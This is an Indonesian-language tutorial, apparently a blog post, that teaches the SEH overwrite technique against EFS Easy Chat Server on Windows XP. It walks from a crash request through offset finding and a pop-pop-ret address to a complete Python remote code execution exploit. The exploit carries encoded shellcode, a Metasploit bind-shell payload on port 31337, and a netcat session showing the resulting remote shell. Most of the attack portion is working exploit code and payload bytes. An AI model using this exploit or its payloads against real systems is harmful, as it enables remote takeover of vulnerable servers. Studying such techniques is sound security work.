Basic SEH Overwrite Technique

Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack.

Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite.

Aplikasi yang akan digunakan sebagai target adalah EFS Easy Chat Server, kalian bisa melihat contoh exploitnya disini, dan mendownload aplikasi yang vulnerable-nya disini. Saya ambil contoh aplikasi ini dengan anggapan paling mudah menunjukan proses SEH overwrite pada bug aplikasi tersebut, dan dari hasil percobaan terhadap beberapa sistem operasi (Windows 2000 – Windows XP SP3) menunjukan hasil yang stabil, sehingga cocok untuk dijadikan contoh artikel.

Jika kita lihat beragam exploit jadi untuk aplikasi ini maka semua akan terlihat mudah, untuk itu kita akan beranggapan exploit yang bersifat RCE (Remote Code Execution) belum diketahui. Satu-satunya advisories dan mungkin exploit yang beredar adalah metode DOS, dalam arti server akan crash dan shutdown, seperti contoh exploit ini.

Sebagai informasi, ketika suatu bugs ditemukan maka 2 pihak akan menyatakan bahwa bugs tersebut tidak bisa di-eksploitasi untuk mendapatkan RCE, yaitu vendor (umumnya berhubungan dengan bug sistem operasi) dan pendatang baru di bidang exploitasi. Memang benar tidak semua bug bisa dimanfaatkan untuk mendapatkan shell, namun umumnya ketika suatu bug hanya berakibat DOS berdasarkan PoC (Proof Of Concept) maka berbagai macam hacker akan berusaha agar bug tersebut dapat digunakan untuk gaining RCE. Salah satu contoh adalah ketika tim Immunity berhasil membuat bug pada smb2 yang semula hanya berdampak DOS ternyata bisa di-eksploitasi untuk mendapatkan shell.

Gentleman, start your debugger

Pada contoh exploit DOS diatas, kita tahu bahwa overflow terjadi pada bagian berikut ini:

...
$A=str_repeat('A',999);
...
fputs($link,"GET /chat.ghp?username=$A&password=$A&room=1&sex=2 HTTP/1.1\r\nHost: $host\r\n\r\n");

Overflow terjadi ketika aplikasi akan memproses fungsi autentifikasi, dalam hal ini akan kita ambil bagian username. Yang artinya, jika kita mengirimkan request diatas dan memasukan sebanyak 999 karakter ‘A’ pada bagian username maka server akan crash. Untuk artikel ini saya akan mengurangi semaksimal mungkin bagian programming, sehingga kita akan mencoba exploitasi secara manual menggunakan program telnet (please, don’t ask me how to use telnet), dan jumlah karakter yang dikirim akan dibatasi menjadi 750 karakter (somehow, terminal yang saya gunakan tidak bisa menerima inputan jika karakter yang dikirimkan sebanyak 999),

$ telnet 172.16.30.129 80
Trying 172.16.30.129...
Connected to 172.16.30.129.
Escape character is '^]'.
GET /chat.ghp?username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&password=1234567&
room=1&sex=2 HTTP/1.1
Host:172.16.30.129

Connection closed by foreign host.

Easy Chat Server menerima request pada alamat IP 172.16.30.129, dan ketika request diatas dikirim akan membuat aplikasi crash dan di-terminate oleh Windows. Kondisi ini sering disebut DOS.

Kita akan kirimkan sekali lagi request diatas, namun kali ini dengan kondisi aplikasi easy chat server di monitor menggunakan debugger (attach). Debugger yang saya gunakan untuk contoh kali ini adalah Immunity Debugger,

Kita bisa lihat bahwa crash terjadi pada bagian,

MOV AL, BYTE PTR DS:[EDX]

Register EDX telah di-overwrite oleh deretan karakter ‘A’, sehingga hasil eksekusi tersebut akan mengakibatkan “Access Violation” karena program berusaha membaca lokasi memory DS:[41414141] yang tidak valid,

DS:[41414141]=???
AL=FF

Selanjutnya kita akan mencari tahu apakah struktur SEH chain juga ikut ter-overwrite saat ini,

Good. Langkah selanjutnya adalah mencari tahu 2 hal penting:

1. Berapa byte / karakter yang dibutuhkan untuk membuat aplikasi crash (dalam hal ini karakter yang meng-overwrite register EDX)?
2. Berapa byte / karakter yang dibutuhkan untuk meng-overwrite SEH chain?

Ada beragam cara, namun yang paling mudah adalah menggunakan bantuan metasploit untuk meng-generate karakter serta memanfaatkan plugin immunity debugger dari peter van eechoutte untuk mencari tau lokasi byte diatas (byakugan juga bisa, namun utk kali ini kita pakai immunity debugger 😉 ).

$ ./pattern_create.rb 750
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9

Gunakan tools pattern_create.rb dari metasploit untuk meng-generate deretan karakter unik sebanyak 750 bytes, setelah itu gunakan deretan karakter tersebut untuk mengganti deretan karakter ‘A’ yang sebelumnya dikirimkan ke server,

$ telnet 172.16.30.129 80
Trying 172.16.30.129...
Connected to 172.16.30.129.
Escape character is '^]'.
GET /chat.ghp?username=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1
Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1
Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1
Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1
Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1
Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1
Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1
Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9amp;password=1234567&room=1&sex=2 HTTP/1.1
Host:172.16.30.129

Berikut ini hasilnya dari debugger,

Ketika aplikasi crash, kita gunakan plugin “!pvefindaddr findmsp” untuk mencari lokasi deretan karakter metasploit yang dikirimkan diatas keetika meng-overwrite isi stack,

Berikut ini bagian yang memperlihatkan hasil plugin tersebut lebih jelas,
0BADF00D -------------------------------------------------------------------------
0BADF00D Searching for metasploit pattern references
0BADF00D -------------------------------------------------------------------------
0BADF00D [1] Checking register addresses and contents
0BADF00D ============================================
0BADF00D Register EDI is overwritten with Metasploit pattern at position 252
0BADF00D Register ECX is overwritten with Metasploit pattern at position 256
0BADF00D [2] Checking seh chain
0BADF00D ======================
0BADF00D - Checking seh chain entry at 0x010b6ddc, value 68413368
0BADF00D => record is overwritten with Metasploit pattern at position 220
0BADF00D -------------------------------------------------------------------------

Hasil diatas memberikan kita jawaban atas pertanyaan sebelumnya,

1. Register EDI akan di-overwrite setelah 252 karakter. Untuk itu minimal kita harus mengirimkan 252 karakter agar aplikasi crash dan flow program dibawa menuju SEH.
2. SEH record di – overwrite setelah 220 karakter.

Penggunaan istilah “at position” pada plugin peter diatas sebenarnya agak rancu, namun saya asumsikan dia mengambil titik acuan 0, sehingga ketika hasilnya menunjukan “at position 220” itu berarti di-overwrite oleh karakter ke 221 (setelah 220 karakter).

A little bit of theory

Istilah “karakter kesekian” sering disebut sebagai “offset”, untuk itu kita akan menggunakan istilah ini mulai dari sekarang. SEH record di-overwrite oleh offset 221, itu berarti Next SEH di-overwrite pada offset 217. Berikut ini susunan Next SEH dan SEH:

[ Next SEH ] – [ SEH ]

Next SEH dan SEH bernilai 4 byte, sehingga jika kita mengetahui bahwa SEH berada pada offset 221, maka dengan kalkulasi matematika kita tahu bahwa Next SEH dapat di-overwrite oleh offset 217, yang berarti jika kita mengirimkan karakter sebanyak 216, maka 8 karakter berikutnya akan meng-overwrite Next SEH dan SEH.

[Junk * 216] – [Next SEH] – [SEH]

Jika kalian ada yang penasaran dan ingin mencoba dengan hanya mengirimkan 224 karakter untuk melihat hasilnya pada debugger maka akan mendapatkan pelajaran yang sangat penting, yaitu server tidak akan crash. Kenapa? karena offset yang akan meng-overwrite EDX dan membuat aplikasi crash akibat dari “access violation” berada pada offset 253 (lihat kembali hasil pvefinddr diatas). Itu sebabnya jika kita mengirimkan karakter kurang dari 253 maka tidak akan membuat aplikasi crash, dan aplikasi tidak akan dibawa menuju SEH. Oleh sebab itu kita akan membuat aplikasi crash dengan bentuk berikut ini:

[Junk * 216] – [Next SEH] – [SEH] – [Payload/Shellcode]

Kita akan meletakan shellcode setelah SEH. Sehingga alur program akan menjadi berikut ini:

1. Server crash akibat EDX di – overwrite oleh 4 byte karakter yang terdapat pada shellcode (offset 253).
2. Akibat server crash, maka alur program akan dibawa menuju SEH record oleh sistem operasi windows.
3. SEH record akan kita ganti dengan suatu alamat di memory yang berisi opcode “pop, pop, ret”.
4. Alur program (EIP) akan mengeksekusi SEH, namun akibat dari opcode “pop, pop, ret” pada SEH maka EIP akan dibawa menuju Next SEH.
5. Next SEH akan berisi opcode yang menunjuk pada lokasi shellcode, dalam hal ini “jump 6 byte” ke depan.
6. EIP akan mengeksekusi shellcode

Langkah terakhir kita akan mencari lokasi opcode “pop, pop, ret” di memory dari library yang tidak dilindungi oleh /SafeSEH, dan mengisi opcode “jump 6 byte kedepan” pada Next SEH. Untuk lokasi “pop, pop, ret” kita bisa menggunakan kembali plugin “pvefindaddr”,

Untuk membuat exploit lebih reliable maka kita akan mencari lokasi “pop, pop, ret” dari modul / library bawaan aplikasi EFS Easy Chat Server. Dengan command “!pvefindaddr nosafeseh” kita akan mendapatkan hasil modul-modul yang tidak di-compile dengan /SafeSEH, dan bisa kita lihat bahwa 2 library merupakan bawaan dari Easy Chat Server, yaitu: ssleay32.dll dan libeay32.dll. Sehingga pencarian “pop, pop, ret” bisa kita fokuskan pada library tersebut, ambil contoh utk library ssleay32.dll diatas dengan menggunakan command “!pvefindaddr p esi SSLEAY32.dll”.

Dari list lokasi memory diatas, akan kita pilih satu, yaitu 0x1001b2b6. Jika kita akan kirimkan melalui request maka jangan lupa untuk mengubahnya dalam format little endian, menjadi “\xb6\xb2\x01\x10”. Selanjutnya adalah opcode untuk “jump forward 6 byte”. Opcode untuk jump adalah EB, dan opcode untuk 6 byte adalah 06, sehingga opcode yang akan membuat EIP lompat 6 byte kedepan untuk mengeksekusi shellcode adalah EB 06.

[ "A" * 216 (216 bytes) ] + [ \xeb\x06\x90\x90 (4 bytes) ] + [ \xb6\xb2\x01\x10 (4 bytes) ] + [ shellcode ]

Jika ada yang bertanya “kenapa jump 6 byte kedepan?”, silahkan perhatikan lagi isi buffer diatas. Ketika EIP dibawa menuju Next SEH setelah mengeksekusi “pop, pop, ret” pada SEH, maka EIP harus melompati SEH (4 bytes) dan Low Address dari Next SEH (2 bytes). Opcode EB06 hanya mengambil 2 bytes dari alokasi Next SEH, sehingga sisa 2 bytes nya bisa kita isi dengan NOP (0x90), dan bytes NOP tersebut harus kita lompati juga. Sehingga total bytes yang harus dilompati adalah 4+2 = 6 (what’s this, elementary school math?).

Payload

Junk sudah, Next SEH sudah, SEH sudah, yang terakhir adalah shellcode. Untuk generate shellcode kita bisa menggunakan bantuan metasploit lagi dengan memanfaatkan tools msfencode.

$ ./msfpayload windows/exec CMD="c:\windows\system32\calc.exe" R | ./msfencode -e x86/alpha_upper -b "\x00" -t c
[*] x86/alpha_upper succeeded with size 511 (iteration=1)

unsigned char buf[] =
"\x89\xe0\xd9\xc8\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30"
"\x45\x50\x43\x30\x45\x30\x4d\x59\x4d\x35\x46\x51\x49\x42\x43"
"\x54\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x46\x32\x45\x44\x4c\x4b\x44\x32\x51\x38\x44\x4f\x4e\x57\x51"
"\x5a\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x45\x52\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x49\x57\x4d\x32\x4c\x30\x50\x52\x50\x57\x4c\x4b"
"\x50\x52\x42\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4b\x35\x4f\x30\x44\x34\x50\x4a\x45\x51"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x46\x38\x51"
"\x30\x43\x31\x48\x53\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x50\x34"
"\x4c\x4b\x43\x31\x49\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4b\x50"
"\x44\x35\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"
"\x54\x44\x35\x4d\x32\x51\x48\x4c\x4b\x50\x58\x47\x54\x43\x31"
"\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x43\x31\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x43\x51\x50"
"\x59\x50\x5a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4b\x36\x51\x4d\x42\x4a\x43\x31\x4c"
"\x4d\x4c\x45\x48\x39\x45\x50\x43\x30\x43\x30\x46\x30\x45\x38"
"\x46\x51\x4c\x4b\x42\x4f\x4c\x47\x4b\x4f\x48\x55\x4f\x4b\x4a"
"\x50\x4f\x45\x4e\x42\x50\x56\x42\x48\x49\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x49\x45\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4b\x50\x44\x35\x44\x45\x4f\x4b\x51\x57\x44\x53"
"\x43\x42\x42\x4f\x42\x4a\x43\x30\x50\x53\x4b\x4f\x49\x45\x42"
"\x43\x47\x4a\x51\x4c\x43\x47\x42\x49\x42\x4e\x42\x44\x42\x4f"
"\x44\x37\x42\x53\x51\x4c\x44\x33\x43\x49\x42\x53\x44\x34\x45"
"\x35\x42\x4d\x50\x33\x50\x32\x51\x4c\x43\x53\x43\x51\x42\x4c"
"\x42\x43\x46\x4e\x45\x35\x44\x38\x45\x35\x43\x30\x45\x5a\x41"
"\x41";

Show Ur Spl0it

Pada awal tulisan ini saya berjanji akan seminimal mungkin menggunakan programming, namun untuk mengirimkan shellcode harus menggunakan bantuan programming. Alasannya karena jika menggunakan telnet maka karakter-karakter shellcode tersebut akan berubah isinya ketika sampai pada easy chat server. Kita akan menggunakan bahasa pemrograman python yang mendefinisikan variabel junk, next seh, seh, serta shellcode. Socket akan membuka koneksi ke port 80 server, dan mengirimkan request yang berisi variabel-variabel tersebut ke server dan akan meng-eksploitasi authentifikasi variable ‘username’.

#!/usr/bin/python

import struct
import socket

junk = "A" * 216
next_seh = "\xeb\x06\x90\x90"
seh = "\xb6\xb2\x01\x10"
shellcode = (
"\x89\xe0\xd9\xc8\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30"
"\x45\x50\x43\x30\x45\x30\x4d\x59\x4d\x35\x46\x51\x49\x42\x43"
"\x54\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x46\x32\x45\x44\x4c\x4b\x44\x32\x51\x38\x44\x4f\x4e\x57\x51"
"\x5a\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x45\x52\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x49\x57\x4d\x32\x4c\x30\x50\x52\x50\x57\x4c\x4b"
"\x50\x52\x42\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4b\x35\x4f\x30\x44\x34\x50\x4a\x45\x51"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x46\x38\x51"
"\x30\x43\x31\x48\x53\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x50\x34"
"\x4c\x4b\x43\x31\x49\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4b\x50"
"\x44\x35\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"
"\x54\x44\x35\x4d\x32\x51\x48\x4c\x4b\x50\x58\x47\x54\x43\x31"
"\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x43\x31\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x43\x51\x50"
"\x59\x50\x5a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4b\x36\x51\x4d\x42\x4a\x43\x31\x4c"
"\x4d\x4c\x45\x48\x39\x45\x50\x43\x30\x43\x30\x46\x30\x45\x38"
"\x46\x51\x4c\x4b\x42\x4f\x4c\x47\x4b\x4f\x48\x55\x4f\x4b\x4a"
"\x50\x4f\x45\x4e\x42\x50\x56\x42\x48\x49\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x49\x45\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4b\x50\x44\x35\x44\x45\x4f\x4b\x51\x57\x44\x53"
"\x43\x42\x42\x4f\x42\x4a\x43\x30\x50\x53\x4b\x4f\x49\x45\x42"
"\x43\x47\x4a\x51\x4c\x43\x47\x42\x49\x42\x4e\x42\x44\x42\x4f"
"\x44\x37\x42\x53\x51\x4c\x44\x33\x43\x49\x42\x53\x44\x34\x45"
"\x35\x42\x4d\x50\x33\x50\x32\x51\x4c\x43\x53\x43\x51\x42\x4c"
"\x42\x43\x46\x4e\x45\x35\x44\x38\x45\x35\x43\x30\x45\x5a\x41"
"\x41")

request = "GET /chat.ghp?username=" + junk + next_seh + seh + shellcode + "&password=1234567&room=1&sex=2 HTTP/1.1\r\n"
request += "Host: 172.16.30.129\r\n"

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('172.16.30.129',80))
sock.send(request + "\r\n\r\n")
sock.close()

Hasilnya adalah aplikasi Easy Chat Server akan di-terminate dan akan keluar calc.exe,

Wait, where’s my shell?

Eksekusi calc.exe diatas biasanya tipikal shellcode standar untuk membuktikan bahwa alur eksploitasi kita berjalan dengan baik. Untuk mendapatkan shell pada server yang telah di eksploitasi cukup menggangi shellcodenya saja,
$ ./msfpayload windows/shell_bind_tcp LPORT=31337 R | ./msfencode -e x86/alpha_upper -b "\x00" -t c
[*] x86/alpha_upper succeeded with size 753 (iteration=1)

unsigned char buf[] =
"\x89\xe3\xdb\xd7\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x43\x30"
"\x43\x30\x45\x50\x45\x30\x4b\x39\x4d\x35\x50\x31\x48\x52\x45"
"\x34\x4c\x4b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x46\x32\x42\x34\x4c\x4b\x44\x32\x47\x58\x44\x4f\x4e\x57\x51"
"\x5a\x51\x36\x46\x51\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x47\x4c"
"\x45\x31\x43\x4c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x4f\x37\x4a\x42\x4c\x30\x51\x42\x51\x47\x4c\x4b"
"\x46\x32\x42\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x48\x50\x4c"
"\x4b\x51\x50\x44\x38\x4d\x55\x49\x50\x43\x44\x50\x4a\x45\x51"
"\x4e\x30\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x51\x48\x47"
"\x50\x43\x31\x48\x53\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x47\x44"
"\x4c\x4b\x45\x51\x48\x56\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x4f\x31\x48\x4f\x44\x4d\x45\x51\x49\x57\x50\x38\x4d\x30"
"\x44\x35\x4a\x54\x44\x43\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46"
"\x44\x43\x45\x4d\x32\x51\x48\x4c\x4b\x50\x58\x51\x34\x43\x31"
"\x4e\x33\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x43\x31\x49\x43\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x47\x54\x46\x44\x51\x4b\x51\x4b\x45\x31\x51"
"\x49\x51\x4a\x46\x31\x4b\x4f\x4d\x30\x50\x58\x51\x4f\x51\x4a"
"\x4c\x4b\x42\x32\x4a\x4b\x4c\x46\x51\x4d\x45\x38\x50\x33\x47"
"\x42\x45\x50\x45\x50\x45\x38\x42\x57\x42\x53\x47\x42\x51\x4f"
"\x51\x44\x45\x38\x50\x4c\x44\x37\x51\x36\x43\x37\x4b\x4f\x49"
"\x45\x4e\x58\x4c\x50\x43\x31\x43\x30\x45\x50\x47\x59\x48\x44"
"\x51\x44\x46\x30\x42\x48\x47\x59\x4b\x30\x42\x4b\x43\x30\x4b"
"\x4f\x49\x45\x46\x30\x46\x30\x50\x50\x46\x30\x51\x50\x50\x50"
"\x51\x50\x46\x30\x42\x48\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b"
"\x4f\x48\x55\x4c\x49\x4f\x37\x46\x51\x49\x4b\x50\x53\x42\x48"
"\x45\x52\x45\x50\x42\x5a\x43\x59\x4d\x59\x4b\x56\x42\x4a\x44"
"\x50\x51\x46\x51\x47\x43\x58\x4f\x32\x49\x4b\x46\x57\x43\x57"
"\x4b\x4f\x4e\x35\x51\x43\x50\x57\x43\x58\x48\x37\x4a\x49\x46"
"\x58\x4b\x4f\x4b\x4f\x48\x55\x50\x53\x46\x33\x51\x47\x42\x48"
"\x42\x54\x4a\x4c\x47\x4b\x4d\x31\x4b\x4f\x4e\x35\x50\x57\x4d"
"\x59\x49\x57\x42\x48\x42\x55\x42\x4e\x50\x4d\x43\x51\x4b\x4f"
"\x49\x45\x43\x58\x45\x33\x42\x4d\x43\x54\x43\x30\x4c\x49\x4a"
"\x43\x51\x47\x46\x37\x50\x57\x46\x51\x4b\x46\x42\x4a\x44\x52"
"\x50\x59\x50\x56\x4b\x52\x4b\x4d\x45\x36\x49\x57\x50\x44\x47"
"\x54\x47\x4c\x45\x51\x45\x51\x4c\x4d\x51\x54\x46\x44\x42\x30"
"\x4f\x36\x45\x50\x51\x54\x46\x34\x50\x50\x51\x46\x46\x36\x50"
"\x56\x47\x36\x46\x36\x50\x4e\x51\x46\x46\x36\x50\x53\x50\x56"
"\x45\x38\x44\x39\x48\x4c\x47\x4f\x4c\x46\x4b\x4f\x48\x55\x4b"
"\x39\x4b\x50\x50\x4e\x50\x56\x47\x36\x4b\x4f\x46\x50\x43\x58"
"\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b\x4f\x48\x55\x4f\x4b\x4c"
"\x30\x48\x35\x4e\x42\x51\x46\x45\x38\x4f\x56\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4d\x30\x43\x45\x43\x35\x4f\x4b\x50\x47\x42\x33"
"\x42\x52\x42\x4f\x43\x5a\x43\x30\x46\x33\x4b\x4f\x4e\x35\x45"
"\x5a\x41\x41";

Dengan mengganti bagian shellcode dari spl0it diatas, maka ketika selesai dieksekusi sistem operasi target akan membuka shell di port 31337,
$ nc 172.16.30.129 31337
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Strazytski\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 8C23-6511

Directory of C:\Documents and Settings\Strazytski\Desktop

01/29/2010 11:14 AM .
01/29/2010 11:14 AM ..
01/28/2010 07:37 PM 2,359,739 camshot-v1.2.exe
01/29/2010 07:28 AM 670 Easy Chat Server.lnk
